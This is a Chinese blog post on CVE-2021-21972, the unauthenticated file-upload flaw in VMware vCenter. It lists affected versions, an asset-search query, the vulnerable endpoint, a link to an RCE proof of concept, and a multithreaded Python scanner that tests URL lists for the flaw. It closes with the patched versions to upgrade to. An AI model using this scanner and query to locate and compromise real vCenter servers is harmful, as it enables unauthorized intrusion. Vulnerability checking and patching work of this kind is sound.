vmware vcenter怎么用安全(关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题)
类别:服务器 浏览量:426
时间:2021-10-24 10:41:47 vmware vcenter怎么用安全
关于Vmware vcenter未授权任意文件上传漏洞CVE-2021-21972的问题背景CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。
影响版本vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5
语法:title="+ ID_VC_Welcome +"
POC
https://x.x.x.x/ui/vropspluginui/rest/services/uploadova
使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
脚本批量验证
#-*- coding:utf-8 -*- banner = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/02/24 CVE-2021-21972.py C0de by NebulabdSec - @batsu """ print(banner) import threadpool import random import requests import argparse import http.client import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' TARGET_URI = "/ui/vropspluginui/rest/services/uploadova" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua def CVE_2021_21972(url): proxies = {"scoks5": "http://127.0.0.1:1081"} headers = { 'User-Agent': get_ua(), "Content-Type": "application/x-www-form-urlencoded" } targetUrl = url + TARGET_URI try: res = requests.get(targetUrl, headers=headers, timeout=15, verify=False, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) if res.status_code == 405: print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url)) # print("[+] Command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n") # except Exception as e: # print(e) except: print("[-] " + url + " Request ERROR.\n") def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2021_21972, works) [pool.putRequest(req) for req in reqs] pool.wait() def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") # parser.add_argument("-c", "--cmd", help="Commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file if url != None and file_path ==None: CVE_2021_21972(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默认15线程 if __name__ == "__main__": main()
vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n
到此这篇关于关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题的文章就介绍到这了,更多相关Vmware vcenter上传漏洞内容请搜索开心学习网以前的文章或继续浏览下面的相关文章希望大家以后多多支持开心学习网!
您可能感兴趣
- macos安装虚拟机教程(VMware虚拟机安装苹果Mac OS的超详细教程)
- vmwaredeepin安装(vmware虚拟机安装deepin20最全详细过程)
- vmware能安装macos吗(VMware15/16解锁VMware安装MacOS的步骤详解)
- docker虚拟机和容器(解决docker与vmware的冲突问题)
- VMware ESXi 5.5部署与配置图解过程(VMware ESXi 5.5部署与配置图解过程)
- 虚拟机安装centos8网络设置(VMware安装CentOS虚拟机与配置网络的图文教程)
- vmware 安装失败(安装使用Vmware出现的问题及解决方法)
- vmware虚拟linux无法配置ip(在VMware虚拟机中查看Linux的IP地址的方法)
- vmware esxi搭建云桌面(VMware ESXI服务器虚拟化搭建集群)
- vmware esxi账号密码(VMware Esxi忘记root密码成功找回的操作方法)
- vmwareworkstationlinux修改配置(VMware Workstation Pro 16搭建CentOS8虚拟机集群的图文教程)
- navicat配置远程访问mysql(解决Navicat无法连接 VMware中Centos系统中的 MySQL服务器的问题)
- vmware esxi 网络配置(探索VMware ESXI CLI常用命令)
- nginx集群技巧(Vmware部署Nginx+KeepAlived集群双主架构的问题及解决方法)
- vmwareesxi怎么安装(vmware esxi6.5安装使用详细步骤)
- linux如何安装php7.1.5环境(vmware linux系统安装最新的php7图解)
- 谷雨前,吃牛羊肉别忘了吃河鲜,除湿还清热,加紫苏一炒特解馋(吃牛羊肉别忘了吃河鲜)
- 紫苏牛肉锅里滚一滚,香的鼻子都要掉了(紫苏牛肉锅里滚一滚)
- 每天都吃水果的好处(每天吃水果的好处与功效)
- 苹果15价格(苹果15价格512g官网)
- 春节放假几天(春节放假几天2023法定几天)
- 今天 3月13日,31年前,一个英雄少年感动了中国(今天3月13日31年前)
热门推荐
- sqlserver中的存盘按钮在哪(SQL Server 2016里的sys.dm_exec_input_buffer的问题)
- sql两列内容合并(分组字符合并SQL语句 按某字段合并字符串之一简单合并)
- css如何将元素显示到最上面(css中子元素设置margin-top为什么影响了父元素)
- laravel视图组件(Laravel5.4框架中视图共享数据的方法详解)
- css怎么给背景颜色设置模糊(CSS设置背景图片模糊内容不模糊的解决方法)
- laravel队列流程(Laravel 创建指定表 migrate的例子)
- sql server中通过datename获取日期中部分数据
- css3项目列表属性(像素密度与CSS3的viewport在移动端Web响应式布局中的运用)
- mysql mvcc 流程(Mysql MVCC机制原理详解)
- python类定义(浅谈python新式类和旧式类区别)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9